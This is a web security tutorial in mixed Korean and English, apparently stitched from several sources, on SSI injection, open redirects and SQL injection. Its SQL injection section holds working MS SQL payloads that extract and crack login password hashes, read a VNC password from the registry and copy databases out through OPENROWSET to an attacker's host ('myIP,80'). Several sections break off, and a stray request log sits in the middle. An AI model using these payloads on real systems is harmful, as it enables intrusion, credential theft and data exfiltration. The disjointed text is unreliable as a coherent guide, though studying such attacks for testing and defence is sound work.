Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by theServer-Side Includes(SSI). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.
Description of the Issue
Server-Side Inlcudes는 웹서버가 사용자에게 페이지를 제공하기 전에 구문을 해석하도록 지시한다. Server-Side Inlcudes는 CGI프로그램을 작성하거나 혹은 server side 스크립트를 사용하는 내장된 간단한 언어들로, 오직 간단한 task들을 실행할 때 만 필요로 한다.
공통 SSI 구현은 외부의 파일들을 include 할 수 있는 명령어들을 제공하며, 웹 서버의 CGI 환경 변수를 설정하고 출력할 수 있고, 또한 외부의 CGI 스크립트 혹은 시스템 명령어들을 실행 할 수 있다.
SSI 지시를 static HTML 문서에 넣는 것은 다음과 같은 코드를 쓰는 것 만큼 간단하다
<!--#echo var="DATE_LOCAL" -->
현재의 시간을 출력
<!--#include virtual="/cgi-bin/counter.pl" -->
CGI 스크립트의 결과를 포함
<!--#include virtual="/footer.html" -->
파일 포함
<!--#exec cmd="ls" -->
시스템 명령어의 결과를 포함
만약 web server가 SSI 지원이 가능하면, 서버는 이러한 명령들을 실행 시킬 것이다. 기본 설정으로, 일반적으로, 대부분의 웹 서버들은 이러한 exec 명령들이 system 명령어를 실행시키도록 허용하지 않는다.
모든 bad 입력 값 검증(bad input validation) 상황처럼, 문제는 웹 애플리케이션의 사용자가 애플리케이션 혹은 웹 서버가 예측하지 못한 방식으로 데이터들을 제공하도록 허용할 때 발생한다.
SSI injection 때문에, 공격자가 애플리케이션에(혹은 서버에 직접적으로) 삽입된 동적으로 페이지를 생성 수 있는 input을 만들 수 있다면, 한 개 혹은 그 이상의 SSI 지시들을 parse 시킬 수 있다.
전통적인 스크립트 언어 injection 취약점과 매우 유사하다. 한가지 나은 점은 웹서버가 SSI를 허용하도록 설정해야 한다는 것이다.반면에, SSI Injection 취약점은 실행시키기 좀 더 간단하다. 왜냐하면 SSI 지시어들은 이해하기 쉽고, 파일의 내용을 출력하고 시스템 명령어를 실행 시킬 수 있을 만큼 강력하기 때문이다.
Black Box testing
finding if the web server actually supports SSI directives.
웹서버가 SSI 지시어들을 허용하는지 대상 웹사이트들의 컨텐츠를 보면서 확인한다.
.shtml 파일이 있다면, SSI를 허용할 가능성이 높다.
아래와 같은 입력 값들이 유효하며, 입력값이 저장된 것을 확인한다.
< ! # = / . " - > and [a-zA-Z0-9]
To test if validation is insufficient, we can input, for example, a string like the following in an input form
다음과 같은 문자열을 input form에 입력하여 확인을 해본다.
<!--#include virtual="/etc/passwd" -->
이것은 XSS 취약점을 점검하는 것과 유사하다.
<script>alert("XSS")</script>
만약 애플리케이션이 취약하다면, 지시어들은 삽입이 되고 다음 페이지가 제공될 때 서버에 의해서 해석될 것이다. 따라서, Unix의password 파일이 컨텐츠에 포함될 것이다.
만약 웹 애플리케이션이 데이터들을 동적으로 페이지에게 생성하도록 한다면, 삽입은 HTTP 헤더에서 또한 수행할 수 있다.
If we have access to the application source code, we can quite easily find out:
If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.
Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.
How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account.
Performing these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).
전송방식 : POST 쿼리 스트링: t2=t2&t3=t3 IP주소 : 127.0.0.1 브라우저 : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727) 로그온ID : -------------------------------------------------------------------------------- 서버 포트 : 8080 웹 서버 : Microsoft-IIS/5.1
When we want to redirect a user automatically to another page (without an action of the visitor such as clicking on a hyperlink) you might implement a code such as the following:
The above code is vulnerable to an attack if no validation or extra method controls are applied to verify the certainty of the URL. This vulnerability could be used as part of a phishing scam by redirecting users to a malicious site. If no validation is applied, a malicious user could create a hyperlink to redirect your users to an unvalidated malicious website, for example:
The user sees the link directing to the original trusted site (example.com) and does not realize the redirection that could take place
Dangerous URL Redirect Example 2
ASP.NET MVC 1 & 2 websites are particularly vulnerable to open redirection attacks. In order to avoid this vulnerability, you need to apply MVC 3.
The code for the LogOn action in an ASP.NET MVC 2 application is shown below. After a successful login, the controller returns a redirect to the returnUrl. You can see that no validation is being performed against the returnUrl parameter.
Listing 1 – ASP.NET MVC 2 LogOn action in AccountController.cs
[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
if (ModelState.IsValid)
{
if (MembershipService.ValidateUser(model.UserName, model.Password))
{
FormsService.SignIn(model.UserName, model.RememberMe);
if (!String.IsNullOrEmpty(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Index", "Home");
}
}
else
{
ModelState.AddModelError("", "The user name or password provided is incorrect.");
}
}
// If we got this far, something failed, redisplay form
return View(model);
}
Dangerous Forward Example
When applications allow user input to forward requests between different parts of the site, the application must check that the user is authorized to access the url, perform the functions it provides, and it is an appropriate url request. If the application fails to perform these checks, an attacker crafted URL may pass the application’s access control check and then forward the attacker to an administrative function that is not normally permitted.
http://www.example.com/function.jsp?fwd=admin.jsp
The following code is a Java servlet that will receive a GET request with a url parameter in the request to forward to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and complete the server-side forward processing before responding to the browser.
SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.
SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.
예) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.
userID
Name
LastName
Login
Password
1
John
Smith
jsmith
hello
2
Adam
Taylor
adamt
qwerty
3
Daniel
Thompson
dthompson
dthompson
▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.
대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다
데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.
애플리케이션을 통한 데이터베이스 접근 방법
▪ Perl and CGI scripts
▪ ASP, JSP, PHP
▪ XML, XSL and XSQL
▪ no_javascript
▪ VB, MFC, and other ODBC-based tools and APIs
▪ DB specific Web-based applications and API’s
▪ Reports and DB Applications
▪ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.
iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.
b) 쿼리의 이해
i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.
SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 --
GROUP BY x HAVING x = y ORDER BY x
ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.
UPDATE users SET password = 'new password'WHERE login = logged.user AND password = 'old password'
c) 데이터베이스 타입의 결정
대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.
▪ DBMS별 차이점 (1)
▪ DBMS별 차이점 (2)
d) 사용자의 권한 레벨을 알아 낸다.
i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.
user or current_user
session_user
system_user
' and 1 in (selectuser ) --
'; ifuser ='dbo' waitfordelay '0:0:5'--
' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );
ii. 기본 관리자 계정
sa, system, sys, dba, admin, root 등
iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.
'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –
vi. 에러 메시지를 통해서 해쉬 값 추출하기
▪ ' and 1 in (select x from temp) --
▪ ' and 1 in (select substring (x, 256, 256) from temp) --
▪ ' and 1 in (select substring (x, 512, 256) from temp) --
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0
drop table tempdb..passwords
vi. DB구조와 데이터 전송하기
만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.
Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases --
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects --
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns --
OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.
'; declare @o int, @var int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'x', 'x' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1 waitfor delay '00:00:03' --
iii. 레지스트리로부터 VNC 패스워드 찾기
▪'; declare@out binary(8) exec master..xp_regread@rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\ORL\WinVNC3\Default',@value_name='Password', @value = @outoutput select cast(@out as bigint) as x into TEMP--
▪' and 1 in (select cast(x as varchar) from temp) --
입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.
간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.
1) 입력 값 검증
각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.